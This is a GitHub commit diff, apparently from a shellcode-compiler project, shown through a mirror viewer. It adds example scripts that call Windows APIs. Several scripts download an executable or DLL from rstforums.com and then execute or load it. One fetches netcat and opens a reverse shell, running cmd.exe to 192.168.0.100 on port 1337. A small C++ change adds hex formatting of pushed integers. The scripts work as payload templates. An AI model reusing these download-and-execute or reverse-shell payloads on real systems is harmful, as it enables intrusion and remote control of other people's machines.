| FazBrowse GitHub Viewer | Trending | | Home |
| Tools: [Download Repo ZIP] [Original HTTPS Page] |
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -0,0 +1,9 @@ | |||
| 1 | + | ||
| 2 | + function URLDownloadToFileA("urlmon.dll"); | ||
| 3 | + function WinExec("kernel32.dll"); | ||
| 4 | + function ExitProcess("kernel32.dll"); | ||
| 5 | + | ||
| 6 | + URLDownloadToFileA(0,"https://rstforums.com/fisiere/calc.exe","calc.exe",0,0); | ||
| 7 | + WinExec("calc.exe",0); | ||
| 8 | + ExitProcess(0); | ||
| 9 | + | ||
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -0,0 +1,7 @@ | |||
| 1 | + function URLDownloadToFileA("urlmon.dll"); | ||
| 2 | + function LoadLibraryA("kernel32.dll"); | ||
| 3 | + function ExitProcess("kernel32.dll"); | ||
| 4 | + | ||
| 5 | + URLDownloadToFileA(0,"https://rstforums.com/fisiere/DLLExample.dll","SC.dll",0,0); | ||
| 6 | + LoadLibraryA("SC.dll"); | ||
| 7 | + ExitProcess(0); | ||
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -0,0 +1,8 @@ | |||
| 1 | + | ||
| 2 | + function CopyFileA("kernel32.dll"); | ||
| 3 | + function DeleteFileA("kernel32.dll"); | ||
| 4 | + function ExitProcess("kernel32.dll"); | ||
| 5 | + | ||
| 6 | + CopyFileA("C:\Windows\System32\calc.exe","C:\Users\Ionut\Desktop\calc.exe",0); | ||
| 7 | + DeleteFileA("C:\Users\Ionut\Desktop\Delete.txt"); | ||
| 8 | + ExitProcess(0); | ||
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -0,0 +1,5 @@ | |||
| 1 | + function RegSetKeyValueA("advapi32.dll"); | ||
| 2 | + function ExitProcess("kernel32.dll"); | ||
| 3 | + | ||
| 4 | + RegSetKeyValueA(2147483649,"Software\Microsoft\Notepad","Test",1,"Nytro",5); | ||
| 5 | + ExitProcess(0); | ||
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -0,0 +1,7 @@ | |||
| 1 | + function URLDownloadToFileA("urlmon.dll"); | ||
| 2 | + function WinExec("kernel32.dll"); | ||
| 3 | + function ExitProcess("kernel32.dll"); | ||
| 4 | + | ||
| 5 | + URLDownloadToFileA(0,"https://rstforums.com/fisiere/nc.exe","nc.exe",0,0); | ||
| 6 | + WinExec("nc.exe -e cmd.exe 192.168.0.100 1337",0); | ||
| 7 | + ExitProcess(0); | ||
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
@@ -112,7 +112,7 @@ void AddFunctionCallIntParameter(string p_sIntParameter) | |||
| 112 | 112 | { | |
| 113 | 113 | Parameter Param; | |
| 114 | 114 | Param.Type = PARAMETER_TYPE_INT; | |
| 115 | - Param.IntValue = stoi(p_sIntParameter); | ||
| 115 | + Param.IntValue = (size_t)stoll(p_sIntParameter); | ||
| 116 | 116 | AllFunctionCalls[AllFunctionCallsNr].Parameters.push_back(Param); | |
| 117 | 117 | } | |
| 118 | 118 | ||
@@ -408,6 +408,17 @@ size_t GetStringOffset(string p_sString) | |||
| 408 | 408 | return 0; | |
| 409 | 409 | } | |
| 410 | 410 | ||
| 411 | + // Convert int to hex | ||
| 412 | + | ||
| 413 | + string IntToHexString(size_t p_iNumber) | ||
| 414 | + { | ||
| 415 | + std::stringstream stream; | ||
| 416 | + stream << std::hex << p_iNumber; | ||
| 417 | + std::string result(stream.str()); | ||
| 418 | + | ||
| 419 | + return result; | ||
| 420 | + } | ||
| 421 | + | ||
| 411 | 422 | // Generate a call to LoadLibrary("string") | |
| 412 | 423 | ||
| 413 | 424 | size_t NrBasesToStack = 0; | |
@@ -678,8 +689,8 @@ string GenerateFunctionCall(FunctionCall p_oFunctionCall) | |||
| 678 | 689 | } | |
| 679 | 690 | else | |
| 680 | 691 | { | |
| 681 | - sContent += "push "; | ||
| 682 | - sContent += to_string(p_oFunctionCall.Parameters[i].IntValue); | ||
| 692 | + sContent += "push 0x"; | ||
| 693 | + sContent += IntToHexString(p_oFunctionCall.Parameters[i].IntValue); | ||
| 683 | 694 | sContent += "\r\n"; | |
| 684 | 695 | } | |
| 685 | 696 | } | |
| Back | FazBrowse Home | New Git URL |
0 commit comments